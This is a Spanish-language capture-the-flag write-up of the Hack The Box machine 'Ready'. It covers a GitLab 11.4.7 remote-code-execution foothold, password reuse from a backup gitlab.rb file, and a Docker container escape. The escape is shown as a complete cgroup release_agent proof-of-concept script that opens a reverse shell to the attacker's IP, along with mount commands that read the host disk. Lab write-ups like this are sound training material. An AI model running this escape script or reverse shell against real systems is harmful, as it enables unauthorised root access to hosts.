Ready - Hack The Box
Resolución de la máquina Ready de Hack The Box, una máquina Linux de dificultad media según la plataforma en la cual nos aprovechamos de una vulnerabilidad en una versión antigua de Gitlab para obtener el acceso inicial, para posteriormente elevar privilegios a root dentro de un contenedor docker y finalmente escapar del contenedor y obtener la shell de root en la máquina.
Escaneo con nmap
> nmap -sC -sV -p22,5080 10.10.10.220 -oN targeted ─╯
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-23 16:48 CEST
Nmap scan report for 10.10.10.220
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.08 seconds
Vemos que hay un Gitlab en le puerto 5080.
Me registro con un usuario (ximo:ximo1234) y veo que la version es 11.4.7
Busco por gitlab 11.4.7 exploit github y encuentro un exploit aquí:
https://github.com/dotPY-hax/gitlab_RCE
Lo ejecuto y obtengo el acceso inicial.
Escalada a root dentro del contenedor docker
Veo que hay un usuario llamado dude en el directorio home y directamente ya puedo leer el user.txt porque los permisos del fichero están configurados para que los usuarios que pertenezcan al grupo git lo puedan leer.
Sigo eumerando el sistema hasta que encuentro en /opt/backup el fichero gitlab.rb donde veo la siguiente contraseña:
gitlab_rails[‘smtp_password’] = “wW59U!ZKMbG9+*#h”
Pensando en la reutilización de contraseñas pruebo la contraseña con la cuenta de root y accedo como root pero eso si, del contenedor. Estamos en un contenedor docker.
Escalada a root
Siendo root dentro del contenedor busco información sobre como escapar del contenedor docker y encuentro esta página:
https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
Con fdisk -l veo que a partición del sistema host es /dev/sda2
Creo un directorio en /mnt y monto la partición allí. Ya puedo leer el root.txt
mkdir -p /mnt/root
mount /dev/sda2 /mnt/root
Ya tengo el root.txt pero además quiero obtener una shell de root en la máquina.
Veo que hay una poc (prueba de concepto) en la misma página así que la pruebo.
Me creo un fichero llamado poc.sh en el directorio /tmp con el contenido de la poc
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
#For a normal PoC =================
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#===================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/10.10.14.32/9001 0>&1" >> /cmd
chmod a+x /cmd
#===================================
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
head /output
Me pongo a la escucha en el puerto 9001 y ejecuto ./poc.sh y me devuelve la shell de root :)